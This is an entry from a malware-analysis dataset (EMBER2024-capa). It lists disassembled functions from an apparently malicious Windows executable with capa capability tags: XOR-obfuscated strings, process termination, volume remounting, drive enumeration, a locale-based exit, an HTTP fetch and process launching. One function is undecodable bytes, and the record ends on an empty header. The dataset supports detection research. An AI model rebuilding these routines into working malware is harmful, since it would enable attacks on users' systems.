joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408f9d
Capabilities:
Create thread
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
cmp dword [0x4136a0], 0
jne 0x409063
push esi
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
imul ecx, dword [ebp - 0x10], 6
xor esi, esi
mov dword [0x41355c], esi
mov dword [0x413584], esi
mov dword [0x413730], ecx
shl ecx, 2
mov dword [0x41372c], esi
call fcn.00406c8e
mov dword [0x4136a0], eax
test eax, eax
je 0x409062
push edi
mov ecx, 0x41370c
call fcn.00407ef9
mov ecx, 0x413564
call fcn.00407ef9
mov ecx, 0x4136ec
call fcn.00407ef9
mov eax, dword [ebp - 0x10]
mov edi, esi
add eax, eax
je 0x409059
push esi
push esi
push esi
push 0x4085f0
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [0x4136a0]
mov dword [ecx + edi*4], eax
inc edi
mov eax, dword [ebp - 0x10]
add eax, eax
cmp edi, eax
jb 0x409012
jmp 0x409059
xor ecx, ecx
lea eax, [edi + 1]
push ecx
push ecx
and eax, 1
push eax
push 0x4088e5
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [0x4136a0]
mov dword [ecx + edi*4], eax
inc edi
cmp edi, dword [0x413730]
jb 0x409037
pop edi
pop esi
leave
ret

Function at 0x409096
Capabilities:
Create thread

Disassembly:
cmp dword [0x41355c], 0
jne 0x4090ba
push 5
xor edx, edx
pop ecx
call fcn.0040d797
and dword [0x413584], 0
mov dword [0x41355c], 1
xor ecx, ecx
jmp fcn.00409065

Function at 0x4090cd
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x1b
jb 0x4090cf
mov byte [ecx + 0x1b], 0
mov eax, ecx
ret

Function at 0x4090e0
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x11
jb 0x4090e2
mov byte [ecx + 0x11], 0
mov eax, ecx
ret

Function at 0x4090f3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call fcn.00409e0e
cmp eax, 3
jne 0x409133
mov dword [ebp - 6], 0x5578557e
xor eax, eax
mov word [ebp - 2], 0x55
xor byte [ebp + eax - 6], 0x55
inc eax
cmp eax, 5
jb 0x409114
movzx eax, word [esi + 4]
cmp ax, word [ebp - 6]
je 0x409133
cmp ax, word [ebp - 4]
jne 0x409133
xor al, al
jmp 0x409135
mov al, 1
pop esi
leave
ret
Function at 0x40a29d
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90c
cmp dword [0x40fcc1], 0
je 0x40a361
push esi
mov esi, 0x40fcc5
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x40a360
push ebx
xor ebx, ebx
lea eax, [ebp - 0x90c]
push ebx
push 0x10
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov eax, dword [0x40fcc1]
inc eax
push eax
lea eax, [ebp - 0x10c]
push eax
push 0xffffffffffffffff
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x90c]
push eax
mov ecx, edx
call fcn.00409e1e
push dword [0x40fd45]
mov edx, 0x40fd49
lea ecx, [ebp - 0x90c]
call fcn.00409d60
pop ecx
pop ecx
test eax, eax
je 0x40a35f
mov dword [ebp - 0xa], 0x5525553a
mov eax, ebx
mov dword [ebp - 6], 0x553b5530
mov word [ebp - 2], 0x55
xor byte [ebp + eax - 0xa], 0x55
inc eax
cmp eax, 9
jb 0x40a33b
push 5
push ebx
push ebx
lea eax, [ebp - 0x90c]
mov byte [ebp - 1], bl
push eax
lea eax, [ebp - 0xa]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
pop ebx
pop esi
leave
ret

Function at 0x40a363
Capabilities:
Encode data using xor
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
push edi
push 0
push 0
mov dword [ebp - 4], ecx
call ebx
mov edi, eax
test edi, edi
je 0x40a405
push esi
lea ecx, [edi*2 + 2]
call fcn.00406c8e
mov esi, eax
mov dword [ebp - 8], esi
test esi, esi
je 0x40a404
push esi
push edi
call ebx
push esi
mov edi, esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
test ebx, ebx
je 0x40a3fd
mov esi, dword [ebp - 4]
push 1
push 0
push 8
mov edx, edi
mov ecx, esi
call fcn.00407f50
add esp, 0xc
test eax, eax
je 0x40a3e7
mov dword [ebp - 4], 0x555565
xor eax, eax
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x40a3ce
mov edx, edi
mov byte [ebp - 1], 0
lea ecx, [ebp - 4]
call fcn.0040d85f
lea edi, [edi + ebx*2]
add edi, 2
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
test ebx, ebx
jne 0x40a3af
mov esi, dword [ebp - 8]
mov ecx, esi
call fcn.00406d33
pop esi
pop edi
pop ebx
leave
ret
Function at 0x40a409
Capabilities:
Accept command line arguments
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
push ebx
push esi
push edi
mov dword [ebp - 0x14], ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
and dword [ebp - 0xc], 0
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
lea ecx, [ebx*2 + 2]
call fcn.00406c8e
mov esi, eax
test esi, esi
je 0x40a543
and dword [ebp - 0x10], 0
xor ecx, ecx
xor edi, edi
test ebx, ebx
jle 0x40a53c
mov edx, dword [ebp - 8]
mov dword [ebp - 0x1c], 0x20
movzx eax, word [edx + edi*2]
cmp eax, 0x22
jne 0x40a474
xor eax, eax
cmp dword [ebp - 0x10], eax
sete al
mov dword [ebp - 0x10], eax
jmp 0x40a485
cmp ax, word [ebp - 0x1c]
jne 0x40a480
cmp dword [ebp - 0x10], 0
je 0x40a485
mov word [esi + ecx*2], ax
inc ecx
test ecx, ecx
je 0x40a533
lea eax, [ebx - 1]
cmp edi, eax
je 0x40a4ab
push 0x20
pop eax
cmp word [edx + edi*2], ax
jne 0x40a533
cmp dword [ebp - 0x10], 0
jne 0x40a533
cmp word [esi + ecx*2 - 2], 0x5c
lea eax, [ecx - 1]
cmovne eax, ecx
xor ecx, ecx
mov word [esi + eax*2], cx
mov ecx, dword [ebp - 0xc]
mov eax, ecx
inc ecx
mov dword [ebp - 0xc], ecx
test eax, eax
je 0x40a531
mov ecx, esi
call fcn.00409d49
test eax, eax
je 0x40a510
mov ecx, dword [ebp - 0x14]
mov edx, esi
push 0
push 0
push 2
call fcn.00407f50
add esp, 0xc
test eax, eax
je 0x40a52e
mov dword [ebp - 4], 0x555565
xor eax, eax
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x40a4f5
mov edx, esi
mov byte [ebp - 1], 0
lea ecx, [ebp - 4]
call fcn.0040d85f
jmp 0x40a52e
mov ecx, esi
call fcn.00409d12
test eax, eax
je 0x40a52e
mov ecx, dword [ebp - 0x14]
mov edx, esi
push 0
push 0
push 1
call fcn.00407f50
add esp, 0xc
mov edx, dword [ebp - 8]
xor ecx, ecx
inc edi
cmp edi, ebx
jl 0x40a45e
mov ecx, esi
call fcn.00406d33
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 8]
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
xor esi, esi
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0x18], esi
jle 0x40a5fb
mov edi, dword [eax + esi*4]
mov ecx, edi
call fcn.00409e0e
mov ebx, eax
cmp ebx, 3
jle 0x40a5ee
cmp word [edi], 0x2d
jne 0x40a5ee
movzx ecx, word [edi + 2]
cmp ecx, 0x54
je 0x40a587
cmp ecx, 0x74
jne 0x40a5ee
cmp word [edi + 4], 0x3d
jne 0x40a5ee
push 0x800
lea ecx, [ebp - 0x820]
call fcn.00406ce6
lea edi, [ebx - 2]
mov eax, 0x400
add esp, 4
cmp edi, eax
cmovg edi, eax
xor edx, edx
test edi, edi
jle 0x40a5d1
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx + esi*4]
add ecx, 6
movsx ax, byte [ecx]
lea ecx, [ecx + 2]
mov word [ebp + edx*2 - 0x820], ax
inc edx
cmp edx, edi
jl 0x40a5bd
lea ecx, [ebp - 0x820]
call fcn.00409d12
test eax, eax
je 0x40a5ee
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x820]
call fcn.0040a600
mov eax, dword [ebp - 0xc]
inc esi
cmp esi, dword [ebp - 0x18]
jl 0x40a562
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a600
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x60014
call fcn.0040dc70
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xc], edx
push ebx
push 0x80
push 3
push ebx
push 1
push closesocket
push ecx
mov dword [ebp - 8], ebx
lea esi, [ebp - 0x20010]
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x40a7ea
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
lea eax, [ebp - 8]
push eax
push 3
mov eax, esi
push eax
push edi
call ebx
test eax, eax
je 0x40a684
cmp dword [ebp - 8], 3
jne 0x40a684
cmp byte [ebp - 0x20010], 0xef
jne 0x40a684
cmp byte [ebp - 0x2000f], 0xbb
jne 0x40a684
cmp byte [ebp - 0x2000e], 0xbf
jne 0x40a684
mov dword [ebp - 4], 0xfde9
jmp 0x40a690
xor eax, eax
push eax
push eax
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x20000
lea ecx, [ebp - 0x20010]
call fcn.00406ce6
add esp, 4
lea eax, [ebp - 8]
push 0
push eax
push 0x20000
mov eax, ecx
push eax
push edi
call ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp dword [ebp - 8], eax
jbe 0x40a6e1
mov cl, byte [ebp + eax - 0x20010]
cmp cl, 0xd
je 0x40a6d3
cmp cl, 0xa
jne 0x40a6db
mov byte [ebp + eax - 0x20010], 0
inc eax
cmp eax, dword [ebp - 8]
jb 0x40a6c2
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ebx, dword [ebp - 4]
cmp byte [esi], 0
je 0x40a7ca
push 0
push 0
push 0xffffffffffffffff
push esi
push 0
push ebx
call edi
test eax, eax
je 0x40a7ca
push eax
lea eax, [ebp - 0x60010]
push eax
push 0xffffffffffffffff
push esi
push 0
push ebx
call edi
lea ecx, [ebp - 0x60010]
call fcn.00409d49
test eax, eax
je 0x40a76d
mov ecx, dword [ebp - 0xc]
lea edx, [ebp - 0x60010]
push 0
push 0
push 2
call fcn.00407f50
add esp, 0xc
test eax, eax
je 0x40a7ca
mov dword [ebp - 4], 0x555565
xor eax, eax
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x40a74e
lea edx, [ebp - 0x60010]
mov byte [ebp - 1], 0
lea ecx, [ebp - 4]
call fcn.0040d85f
jmp 0x40a7ca
lea ecx, [ebp - 0x60010]
call fcn.00409d12
test eax, eax
je 0x40a795
mov ecx, dword [ebp - 0xc]
lea edx, [ebp - 0x60010]
push 0
push 0
push 1
call fcn.00407f50
add esp, 0xc
jmp 0x40a7ca
push 2
xor edx, edx
pop ecx
call fcn.0040d797
xor ecx, ecx
xor edx, edx
inc ecx
call fcn.0040d797
lea ecx, [ebp - 0x60010]
call fcn.0040777a
xor edx, edx
push 2
inc edx
pop ecx
call fcn.0040d797
xor edx, edx
xor ecx, ecx
inc edx
inc ecx
call fcn.0040d797
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add esi, eax
jmp 0x40a7da
cmp esi, eax
jae 0x40a7ea
inc esi
cmp byte [esi], 0
lea eax, [ebp - 0x10]
je 0x40a7d5
cmp esi, eax
jb 0x40a6ea
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a7ef
Capabilities:
Encode data using xor
Get geographical location
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push 3
lea eax, [ebp - 8]
push eax
push 0x5a
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
movaps xmm0, xmmword [0x401ab0]
xor eax, eax
movups xmmword [ebp - 0x42], xmm0
mov ecx, eax
mov dword [ebp - 0x12], 0x550f5500
movaps xmm0, xmmword [0x401ac0]
movups xmmword [ebp - 0x32], xmm0
mov dword [ebp - 0xe], 0x551b5503
movaps xmm0, xmmword [0x401ae0]
movups xmmword [ebp - 0x22], xmm0
mov word [ebp - 0xa], 0x55
xor byte [ebp + ecx - 0x42], 0x55
inc ecx
cmp ecx, 0x39
jb 0x40a841
mov cx, word [ebp - 0x42]
mov byte [ebp - 9], al
test cx, cx
je 0x40a87f
push esi
mov esi, dword [ebp - 6]
movzx edx, cx
mov ecx, eax
cmp word [ebp - 8], dx
jne 0x40a86e
cmp si, word [ebp + ecx - 0x40]
je 0x40a881
add eax, 2
lea ecx, [eax + eax]
movzx edx, word [ebp + ecx - 0x42]
test dx, dx
jne 0x40a861
pop esi
leave
ret
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40a902
Capabilities:
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64c
cmp dword [0x412dd1], 0
push ebx
push esi
mov ebx, edx
mov esi, ecx
push edi
mov dword [ebp - 0x20], ebx
je 0x40aaa5
mov edi, 0x412dd5
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x40aaa5
xor eax, eax
push eax
push eax
push eax
push 1
push esi
call dword [sym.imp.WININET.dll_InternetOpenW]
mov esi, eax
test esi, esi
je 0x40aaa5
mov ecx, dword [0x412dd1]
lea eax, [ebp - 0x248]
inc ecx
push ecx
push eax
push 0xffffffffffffffff
push edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movaps xmm0, xmmword [0x401fc0]
xor eax, eax
movups xmmword [ebp - 0x1c], xmm0
mov dword [ebp - 0xc], 0x555575
xor byte [ebp + eax - 0x1c], 0x55
inc eax
cmp eax, 0x13
jb 0x40a97e
lea eax, [ebp - 0x1c]
mov byte [ebp - 9], 0
push eax
lea eax, [ebp - 0x148]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x148]
push ebx
push eax
call edi
xor ebx, ebx
mov dword [ebp - 8], 0x555f5558
mov word [ebp - 4], 0x55
mov eax, ebx
xor byte [ebp + eax - 8], 0x55
inc eax
cmp eax, 5
jb 0x40a9bf
lea eax, [ebp - 8]
mov byte [ebp - 3], bl
push eax
lea eax, [ebp - 0x148]
push eax
call edi
push ebx
push closesocket
lea eax, [ebp - 0x148]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x248]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, eax
test edi, edi
je 0x40aaa2
lea eax, [ebp - 8]
push eax
push 0x400
lea eax, [ebp - 0x648]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40aa34
cmp dword [ebp - 8], 0
ja 0x40aa13
push edi
call ebx
movaps xmm0, xmmword [0x401fa0]
xor ecx, ecx
movups xmmword [ebp - 0x48], xmm0
mov eax, ecx
mov dword [ebp - 0x28], 0x55705575
movaps xmm0, xmmword [0x401fd0]
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x24], 0x555526
xor byte [ebp + eax - 0x48], 0x55
inc eax
cmp eax, 0x27
jb 0x40aa5f
movaps xmm0, xmmword [0x4019d0]
mov eax, ecx
mov byte [ebp - 0x21], cl
movups xmmword [ebp - 0x18], xmm0
xor byte [ebp + eax - 0x18], 0x55
inc eax
cmp eax, 0xf
jb 0x40aa7a
push dword [ebp - 0x20]
lea eax, [ebp - 0x248]
mov byte [ebp - 9], cl
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.0040d906
add esp, 0x10
push esi
call ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40aaaa
Capabilities:
Encode data using xor
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x26c
lea ecx, [ebp - 4]
mov edx, 0x40f4c1
call fcn.004021e0
test eax, eax
je 0x40abdb
push esi
push 0
push 0xf
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 0x26c], 0x22c
lea eax, [ebp - 0x26c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x40abcb
push edi
sub esp, 0xc
lea edx, [ebp - 0x248]
lea ecx, [ebp - 4]
call fcn.004022d6
add esp, 0xc
test eax, eax
je 0x40abb4
push dword [ebp - 0x264]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x40abb4
push 9
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x40abad
movaps xmm0, xmmword [0x401fb0]
xor ecx, ecx
movups xmmword [ebp - 0x3e], xmm0
mov eax, ecx
mov dword [ebp - 0x1e], 0x55557c
movaps xmm0, xmmword [0x401b50]
movups xmmword [ebp - 0x2e], xmm0
xor byte [ebp + eax - 0x3e], 0x55
inc eax
cmp eax, 0x23
jb 0x40ab5a
movaps xmm0, xmmword [0x401b70]
mov eax, ecx
mov byte [ebp - 0x1b], cl
movups xmmword [ebp - 0x1a], xmm0
mov dword [ebp - 0xa], 0x55315530
mov word [ebp - 6], 0x55
xor byte [ebp + eax - 0x1a], 0x55
inc eax
cmp eax, 0x15
jb 0x40ab82
push dword [ebp - 0x264]
lea eax, [ebp - 0x248]
mov byte [ebp - 5], cl
push eax
lea eax, [ebp - 0x3e]
push eax
lea eax, [ebp - 0x1a]
push eax
call fcn.0040d906
add esp, 0x10
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x26c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x40aaf6
pop edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 4]
call fcn.00402299
pop esi
leave
ret

Function at 0x40abdd
Capabilities:
Query service status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
lea eax, [ebp - 0x28]
push ebx
push esi
push edi
push eax
xor ebx, ebx
mov esi, ecx
inc ebx
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x40ac58
mov eax, dword [ebp - 0x10]
xor edx, edx
push 0xa
pop ecx
div ecx
mov ecx, 0x2710
cmp eax, ecx
mov edi, eax
cmova edi, ecx
mov ecx, 0x3e8
cmp eax, ecx
cmovb edi, ecx
jmp 0x40ac53
push edi
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 4]
push eax
push 0x24
lea eax, [ebp - 0x28]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x40ac53
cmp dword [ebp - 0x24], ebx
je 0x40ac5f
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x41409c]
cmp eax, 0x7530
ja 0x40ac58
cmp dword [ebp - 0x24], ebx
jne 0x40ac1d
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov eax, ebx
jmp 0x40ac5a
Function at 0x40aed4
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [0x4140a0], 0
jne 0x40aefd
test ecx, ecx
je 0x40aef6
xor eax, eax
push eax
push eax
push eax
push fcn.0040ac63
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ecx
ret
push 0
call fcn.0040ac63
pop ecx
ret

Function at 0x40af02
Capabilities:
Encode data using xor
Enumerate disk volumes
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x27c
push ebx
push esi
push edi
push 8
pop ecx
xor ebx, ebx
call fcn.00406c8e
mov edi, eax
test edi, edi
je 0x40b071
mov dword [ebp - 8], 0x556f550a
xor eax, eax
mov dword [ebp - 4], 0x555509
xor byte [ebp + eax - 8], 0x55
inc eax
cmp eax, 7
jb 0x40af32
lea eax, [ebp - 8]
mov byte [ebp - 1], bl
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
xor esi, esi
push edi
mov word [edi], si
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jne 0x40af65
lea eax, [esi + 0x41]
mov word [ebp + ebx*2 - 0x74], ax
inc ebx
inc esi
cmp si, 0x1a
jb 0x40af4d
mov ecx, 0x10000
call fcn.00406c8e
mov esi, eax
test esi, esi
je 0x40b06a
push 0x8000
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov dword [ebp - 0xc], eax
test ebx, ebx
je 0x40b05a
push 0x200
lea ecx, [ebp - 0x278]
call fcn.00406ce6
and dword [ebp - 4], 0
lea eax, [ebp - 4]
add esp, 4
push eax
push 0x80
mov eax, ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x40afd7
lea eax, [ebp - 0x278]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 3
je 0x40b043
mov ax, word [ebp + ebx*2 - 0x76]
dec ebx
push esi
push edi
mov word [edi], ax
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
movaps xmm0, xmmword [0x402050]
xor ecx, ecx
movups xmmword [ebp - 0x3e], xmm0
mov eax, ecx
mov word [ebp - 0x1e], 0x55
movaps xmm0, xmmword [0x401c50]
movups xmmword [ebp - 0x2e], xmm0
xor byte [ebp + eax - 0x3e], 0x55
inc eax
cmp eax, 0x21
jb 0x40b008
movaps xmm0, xmmword [0x4019b0]
mov eax, ecx
mov byte [ebp - 0x1d], cl
movups xmmword [ebp - 0x1c], xmm0
xor byte [ebp + eax - 0x1c], 0x55
inc eax
cmp eax, 0xf
jb 0x40b023
push edi
push esi
lea eax, [ebp - 0x3e]
mov byte [ebp - 0xd], cl
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040d906
add esp, 0x10
push 0x8000
push esi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
jne 0x40af8f
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
mov ecx, esi
call fcn.00406d33
mov ecx, edi
call fcn.00406d33
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b40e
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x23
jb 0x40b410
mov byte [ecx + 0x23], 0
mov eax, ecx
ret

Function at 0x40b421
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x27
jb 0x40b423
mov byte [ecx + 0x27], 0
mov eax, ecx
ret

Function at 0x40b434
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x39
jb 0x40b436
mov byte [ecx + 0x39], 0
mov eax, ecx
ret

Function at 0x40b49a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
movaps xmm0, xmmword [0x401bf0]
xor eax, eax
movups xmmword [ebp - 0x32], xmm0
mov word [ebp - 2], 0x55
movaps xmm0, xmmword [0x401e70]
movups xmmword [ebp - 0x22], xmm0
movaps xmm0, xmmword [0x401f80]
movups xmmword [ebp - 0x12], xmm0
xor byte [ebp + eax - 0x32], 0x55
inc eax
cmp eax, 0x31
jb 0x40b4c9
lea eax, [ebp - 0x32]
mov byte [ebp - 1], 0
push eax
push 0x24
call fcn.0040b447
sub eax, 6
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
leave
ret

Function at 0x40b4ef
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
call fcn.00409c21
test eax, eax
je 0x40b503
xor eax, eax
inc eax
leave
ret
movaps xmm0, xmmword [0x401b60]
xor eax, eax
movups xmmword [ebp - 0x3e], xmm0
mov dword [ebp - 0xe], 0x553c5520
movaps xmm0, xmmword [0x401ee0]
movups xmmword [ebp - 0x2e], xmm0
mov dword [ebp - 0xa], 0x55305527
movaps xmm0, xmmword [0x401c10]
movups xmmword [ebp - 0x1e], xmm0
mov dword [ebp - 6], 0x55745531
mov word [ebp - 2], 0x55
xor byte [ebp + eax - 0x3e], 0x55
inc eax
cmp eax, 0x3d
jb 0x40b541
lea eax, [ebp - 0x3e]
mov byte [ebp - 1], 0
push eax
push 0x10
call fcn.0040b447
pop ecx
pop ecx
xor eax, eax
leave
ret
Function at 0x40d9b3
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x2b
jb 0x40d9b5
mov byte [ecx + 0x2b], 0
mov eax, ecx
ret

Function at 0x40d9c6
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x25
jb 0x40d9c8
mov byte [ecx + 0x25], 0
mov eax, ecx
ret

Function at 0x40d9d9
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x81
jb 0x40d9db
mov byte [ecx + 0x81], 0
mov eax, ecx
ret

Function at 0x40d9f1
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x2f
jb 0x40d9f3
mov byte [ecx + 0x2f], 0
mov eax, ecx
ret

Function at 0x40da04
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x51
jb 0x40da06
mov byte [ecx + 0x51], 0
mov eax, ecx
ret

Function at 0x40da17
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x4b
jb 0x40da19
mov byte [ecx + 0x4b], 0
mov eax, ecx
ret

Function at 0x40da2a
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x29
jb 0x40da2c
mov byte [ecx + 0x29], 0
mov eax, ecx
ret

Function at 0x40da3d
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x5b
jb 0x40da3f
mov byte [ecx + 0x5b], 0
mov eax, ecx
ret

Function at 0x40da50
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x43
jb 0x40da52
mov byte [ecx + 0x43], 0
mov eax, ecx
ret
Function at 0x4034f5
Capabilities:
Encode data using xor

Disassembly:
pop edx
scasd eax, dword es:[edi]
xor ebp, dword [edx - 0x61a37644]
xor eax, 0x5562bcaa
wait
mov ebp, ds
mov esp, 0x1e81be02
push ds
or cl, byte [eax + 0x1c]
mov dh, 0x13
mov eax, dword [0xf1d4eb21]
mov ds, ebp
cwde
dec edx
inc edi
imul ebp, dword [eax + 7], 0x52
mov ebp, 0x91a8be6b
sub cl, bh
mov ah, 0x53
sub eax, 0x5280da61
enter 0x6702, 0x76
test eax, 0x37905b
mov dl, 0x71
push esp
nop
aaa
add byte [edx - 0x66efab8f], dh
insb byte es:[edi], dx
test eax, 0x935ade9
cmp byte [edx + ebx*4 - 0x755ca741], dh
test eax, 0xe912a396
adc eax, 0xc805367d
fcmovne st(0), st(0)
ret 0xa309
jno 0x40358d
adc byte [ecx - 0x52165694], bl
xor eax, 0x9ab43809
mov edi, 0xa98aa358
xchg esi, eax
mov dword [0x7d15e912], eax
add eax, 0xc2c8dbc8
or dword [ebx + 0x4654a465], esp
push edi
xor dword [ebp - 0x7835c2f4], ebx
loop 0x403533
or al, 0x3d
retf 0xe287
les ecx, [ecx - 0x4a]
shr dword [edx], 1
push 0xffffffffffffff8f
or ch, byte [eax + 0xf7f5bd1]
in al, 0xab
jo 0x40355e
push ebx
jmp 0x403537
cli
pop edi
push esp
ret
mov bl, 0x96
push ebx
push es
scasb al, byte es:[edi]
jg 0x4035b2
aad 0x1f
cmp dword [edi + 0x45], 0xb4e58191
test al, 0x32
or al, byte ds:[ebx]
inc edx
add ah, 0xc3
shr esp, 0xcf
mov byte [0xc963be7a], al
ja 0x403585
pop edi
mov bh, 0x7b
and dword [esi + 0x4b], esi
cmp eax, dword [ebx + 0x7c]
mov esp, 0xf7dac13d
test dword [edx], eax
mov fs, word [ecx - 0x64322623]
pushfd
iretd
invalid

Function at 0x40526c
Capabilities:
Create process on windows

